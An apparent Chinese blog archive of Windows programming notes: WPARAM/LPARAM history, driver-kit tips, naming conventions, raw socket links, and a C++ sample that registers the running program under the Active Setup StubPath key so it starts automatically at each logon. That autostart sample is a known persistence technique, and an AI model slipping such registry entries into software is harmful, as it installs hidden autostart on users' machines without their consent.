Archive for the ‘平台’ Category

WPARAM LPARAM

星期日, 20 6 月, 2010

Windows早期是16位的。在每个消息中可以携带两个参数,分别是WPARAM和LPARAM。其中,第一个参数是16位的值(word),因此在这个参数的名字中使用了W,而第二个参数是32位的值(long),因此在这个参数的名字中使用了L。通常,W参数是用来传递句柄和整数之类的东西,而L参数则是用来传递指针。

当Windows过渡到32位时,WPARAM参数也随之变成了32位的值。因此虽然W表示word的意思,但现在已经不再是一个word了(而在64位Windows中,这两个参数都将是64位的值)。

WDK DDK

星期一, 7 6 月, 2010

WDK Windows Driver Kit

DDK Device Development Kit

编写驱动源码时,应采用.c文件编写。否则编译时会报错,找不到驱动入口函数DriverEntry(因为C++编译时会更改函数名)。如果采用.cpp文件编写,可使用extern “C”关键字解决上述问题。

驱动开发环境的配置

对Windows程序设计规范的建议

星期五, 12 2 月, 2010

变量名:通常采用所谓的“匈牙利命名法”,变量名由“类型缩写(小写)”+“变量描述(单词首字母大写)”构成,如字符串类型的变量可以命名为szFileName,DWORD类型的数据可以命名为dwFileSize,指针类型可以命名为lpBuffer,句柄类型的变量可以命名为hLogFile等。

函数名:各单词的首字母大写,如EnumerateFilesInDrectory、ShowFileSize等。

类型名:全大写,各单词以下划线分隔,如WIN32_FILE_ATTRIBUTE_DATA、DWORD、HANDLE等。

常量:同类型名的命名方式。

宏:多与类型名命名方式相同,有的也与函数名命名方式相同。

大括号与代码段:一般大括号独立占一行,大括号内的代码段缩进。如果代码段仅一行(如if-else后的语句),也建议使用大括号。

在调用或定义函数时,如果函数太长,可以分行写,将每个参数写一行。一般多于3个参数的函数需要分行写,以美观和方便阅读为原则。

ActiveX自启动

星期三, 18 11 月, 2009

//检查HKEY_LOCAL_MACHINE中是否已存在该注册表项
bool exist()
{
HKEY hkResult;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,
TEXT(“Software\\Microsoft\\Active Setup\\Installed Components\\{FECFCB51-0975-8171-1FB0-B5C091251604}”),
0, KEY_ALL_ACCESS, &hkResult) == ERROR_SUCCESS) {
printf(“该注册表项已存在!\n”);
return true;
}
return false;
}

int _tmain(int argc, _TCHAR* argv[])
{
//已存在则删除
if(exist()) {
if (RegDeleteKey(HKEY_LOCAL_MACHINE,
TEXT(“Software\\Microsoft\\Active Setup\\Installed Components\\{FECFCB51-0975-8171-1FB0-B5C091251604}”)) == ERROR_SUCCESS) {
//以下删除HKEY_CURRENT_USER中该注册表项。
//很重要,删除才能再次使用该注册表项实现自动启动。
//ActiveX的自动启动过程?
RegDeleteKey(HKEY_CURRENT_USER,
TEXT(“Software\\Microsoft\\Active Setup\\Installed Components\\{FECFCB51-0975-8171-1FB0-B5C091251604}”));
printf(“注册表项删除成功!\n”);
} else {
printf(“注册表项删除失败!\n”);
}
}
//获取exe程序运行路径
TCHAR szPath[MAX_PATH];
ZeroMemory(szPath, sizeof(szPath));
GetModuleFileName(NULL, szPath, MAX_PATH);
//创建注册表项
HKEY hkResult;
if (RegCreateKeyEx(HKEY_LOCAL_MACHINE,
TEXT(“Software\\Microsoft\\Active Setup\\Installed Components\\{FECFCB51-0975-8171-1FB0-B5C091251604}”),
0, NULL, 0, KEY_ALL_ACCESS, NULL, &hkResult, NULL) == ERROR_SUCCESS) {
RegSetValueEx(hkResult, TEXT(“StubPath”), 0, REG_SZ, (BYTE*)szPath, (lstrlen(szPath)+1)*2);
printf(“注册表项创建或打开成功!\n”);
RegCloseKey(hkResult);
} else {
printf(“注册表项创建或打开失败!\n”);
}
//暂停下
MessageBox(NULL, TEXT(“RegTest”), TEXT(“RegTest”), MB_OK);
return 0;
}

参考资料:http://www.feihack.com/article.asp?id=3

http://bbs.eyuyan.com/dispbbs.asp?boardid=124&id=192209

raw socket参考资料

星期四, 15 10 月, 2009

http://blog.csdn.net/metasearch/archive/2008/03/05/2148223.aspx

http://www.20cn.net/ns/wz/comp/data/20020818035339.htm